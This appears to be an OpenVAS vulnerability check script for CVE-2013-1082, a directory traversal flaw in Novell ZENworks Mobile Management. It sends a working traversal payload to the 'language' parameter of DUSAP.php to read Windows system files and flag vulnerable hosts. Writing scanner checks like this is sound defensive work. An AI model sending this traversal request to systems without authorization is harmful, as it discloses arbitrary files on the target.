Novell ZENworks Mobile Management Directory Traversal Vulnerability

2013-06-14T00:00:00
ID OPENVAS:1361412562310803811
Type openvas
Reporter Copyright (c) 2013 Greenbone Networks GmbH
Modified 2018-05-28T00:00:00

Description

The host is installed with Novell ZENworks Mobile Management is prone to directory traversal vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_novell_zenworks_mobile_mgmt_dir_trav_vuln.nasl 9984 2018-05-28 14:36:22Z cfischer $
#
# Novell ZENworks Mobile Management Directory Traversal Vulnerability
#
# Authors:
# Thanga Prakash S <tprakash@secpod.com>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:novell:zenworks_mobile_management";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803811");
  script_version("$Revision: 9984 $");
  script_cve_id("CVE-2013-1082");
  script_bugtraq_id(60179);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2018-05-28 16:36:22 +0200 (Mon, 28 May 2018) $");
  script_tag(name:"creation_date", value:"2013-06-14 11:06:05 +0530 (Fri, 14 Jun 2013)");
  script_name("Novell ZENworks Mobile Management Directory Traversal Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/52545");
  script_xref(name : "URL" , value : "http://securitytracker.com/id?1028265");
  script_xref(name : "URL" , value : "http://www.novell.com/support/kb/doc.php?id=7011896");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (c) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_novell_zenworks_mobile_management_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("zenworks_mobile_management/installed", "Host/runs_windows");
  script_require_ports("Services/www", 80);
  script_tag(name : "impact" , value : "Successful exploitation will let the attackers to disclose the contents
  of any file on the system via directory traversal sequences.
  Impact Level: Application");
  script_tag(name : "affected" , value : "Novell ZENworks Mobile Management version before 2.7.1");
  script_tag(name : "insight" , value : "Input passed via the 'language' parameter to DUSAP.php is not properly
  verified before being used to include files.");
  script_tag(name : "solution" , value : "Upgrade to version 2.7.1 or later,
  For updates refer to http://www.novell.com");
  script_tag(name : "summary" , value : "The host is installed with Novell ZENworks Mobile Management is
  prone to directory traversal vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE))exit(0);

files = traversal_files('windows');

foreach file (keys(files))
{
  url = '/DUSAP.php?language=res/languages/' + crap(data:"../", length:6*9) + files[file];

  if(http_vuln_check(port:port, url:url, pattern:file))
  {
    security_message(port:port);
    exit(0);
  }
}